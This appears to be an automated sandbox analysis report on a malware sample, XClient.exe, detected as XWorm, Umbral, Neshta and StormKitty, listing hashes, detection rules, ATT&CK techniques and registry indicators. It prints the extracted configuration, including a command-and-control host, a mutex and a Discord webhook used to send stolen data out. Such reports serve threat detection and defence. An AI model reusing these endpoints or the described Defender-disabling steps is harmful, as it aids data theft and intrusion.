neshta | f2c139ededc6158ae672aa2ae484cbdf503517af131062ddd80a106dd7827557

Analysis

max time kernel
413s
max time network
1800s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25-11-2024 20:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

XClient.exe
Size

34KB
MD5

c066e2162e9aa7dd672e4c20c1c8c9eb
SHA1

20c061ca760ed127dd7c43ad5147064af4009d93
SHA256

f2c139ededc6158ae672aa2ae484cbdf503517af131062ddd80a106dd7827557
SHA512

aa75920ffef507b16ed23f7c4033374ec5b1ae56d9f6f32db6a0b632366a031280be4b6c2fed4ef895fda459899dccb62def861ffb90d287a23112a9d56a4adf
SSDEEP

384:PxXv9qZ/QXokXcjlcTB+Gx//wD7rXVhLHzVdfgkBE2jHuh/58pkFyHBLTLZwYGoy:JXB2GxebHzDyCw/VFye9F+Ojh7yaEr4

Score

10^/10

neshta stormkitty umbral xworm discovery execution persistence ransomware rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

cheflilou-43810.portmap.host:43810

Mutex

JQrIKWspeoVSCrcE

Attributes

Install_directory
%AppData%
install_file
XClient.exe

aes.plain

Extracted

Family

umbral

https://discord.com/api/webhooks/1300923716687106088/zBYqs8nJ3MptGRgCn45okL0BWnQ0FdPIXStaaykk5DhZfBnHinW4M0Ve6U2CSPsMATf2

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/1960-1692-0x000000001AB60000-0x000000001AB6E000-memory.dmp	disable_win_def

Detect Neshta payload 4 IoCs

resource	yara_rule
behavioral1/files/0x0008000000015d29-1932.dat	family_neshta
behavioral1/memory/2780-2072-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral1/memory/2780-2073-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral1/memory/2780-2075-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral1/files/0x0008000000015d29-1932.dat	family_umbral
behavioral1/files/0x0003000000020901-1938.dat	family_umbral
behavioral1/memory/372-1945-0x00000000010F0000-0x0000000001130000-memory.dmp	family_umbral

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1960-1-0x0000000001230000-0x000000000123E000-memory.dmp	family_xworm

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Neshta family
neshta
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/1960-2076-0x000000001CEC0000-0x000000001CFE0000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty
Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2388	powershell.exe
784	powershell.exe
600	powershell.exe
1440	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs

Web Service

T1102

flow	ioc
71	raw.githubusercontent.com
72	raw.githubusercontent.com
73	raw.githubusercontent.com
105	raw.githubusercontent.com
106	raw.githubusercontent.com
121	raw.githubusercontent.com
2679	discord.com
120	raw.githubusercontent.com
2678	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2655	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	XClient.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2992	cmd.exe
2412	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1768	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2576	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 36 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "438730460"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{ADE130B1-AB70-11EF-AF9A-46D787DB8171} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70ab17837d3fdb01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000069182cd53a9b6f4f9ef751b92d57e18d00000000020000000000106600000001000020000000d3507cc3c0f3e89cc0f4da31fb2027034d3d79b2b00f2430ce7653d9dc5240c5000000000e8000000002000020000000d0060e2f27c30f984e3eddaf03c8790744c46ba9a9ad97a43a69b65ff14194f490000000a9b33ba909e8af71694b9a637798da5f84657cf7665454ad9ace34811b8bdb6d90ac5794a3c50cb81ce30d4ecbb2ca884198a8a0502fe8e7936a9a150e2594459bc3dc38612b0bd4fe224fcc35788eb60838dba6ef5462fe3c4d142c5a5747975c679e2a4795ef7e83944d56704352dfa8d6b1b1d567c9d692d29a900a17e8149d337144a1813c99f7b18c181efb827740000000970658202c5cea94456ad536b7677def078c90a161cfc86966dd6062207e21c3446f56f88cbf8d27f1a118daa878b9384881acdea86485eca72e4cf44ba6d156	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000069182cd53a9b6f4f9ef751b92d57e18d0000000002000000000010660000000100002000000076425fe82af196b5f4a62a962fb972d3626eed2036c97c7aa3a617354641d989000000000e8000000002000020000000c8015c192f9b17839fc12c433dcde59f9c3d0d82ccf00fef05aca73ee3da52c5200000004ccf3a1711e9fd1848c4891240d3ff4035a5741a8bcdfc6dfd0b05dc235ee9b440000000e1c6caec7183e2bddc20e82476378a6a3409abeff15eee712e2f05e283566d7d11b8d33cdbb069496244ed35e6fd0ecf02f4f682beb058efc8b93f97a382ea57	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\MRUListEx = ffffffff	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Mode = "4"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\IconSize = "16"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_Classes\Local Settings	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2 = 14001f4225481e03947bc34db131e946b44c8dd50000	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "2"	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\MRUListEx = ffffffff	dnSpy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\NodeSlot = "4"	dnSpy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\TV_FolderType = "{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}"	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\4	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlot = "6"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	dnSpy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\TV_TopViewID = "{82BA0782-5B7A-4569-B5D7-EC83085F08CC}"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\LogicalViewMode = "1"	dnSpy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "48"	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 020000000100000000000000ffffffff	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3 = 400031000000000079594aa810002100300008000400efbe79594aa879594aa82a000000002101000000080000000000000000000000000000002100000010000000	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "6"	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a000000a000000030f125b7ef471a10a5f102608c9eebac0c00000050000000a66a63283d95d211b5d600c04fd918d00b0000007800000030f125b7ef471a10a5f102608c9eebac0e00000078000000	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\TV_TopViewVersion = "0"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1"	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0 = 9e0000001a00eebbfe23000010007db10d7bd29c934a973346cc89022e7c00002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020002a0000000000efbe7e47b3fbe4c93b4ba2bad3f5d3cd46f98207ba827a5b6945b5d7ec83085f08cc20002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020000000	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Sort = 000000000000000000000000000000000200000030f125b7ef471a10a5f102608c9eebac0a0000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000007800000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	dnSpy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\3\NodeSlot = "5"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	dnSpy.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\MRUListEx = 00000000ffffffff	dnSpy.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	dnSpy.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	dnSpy.exe
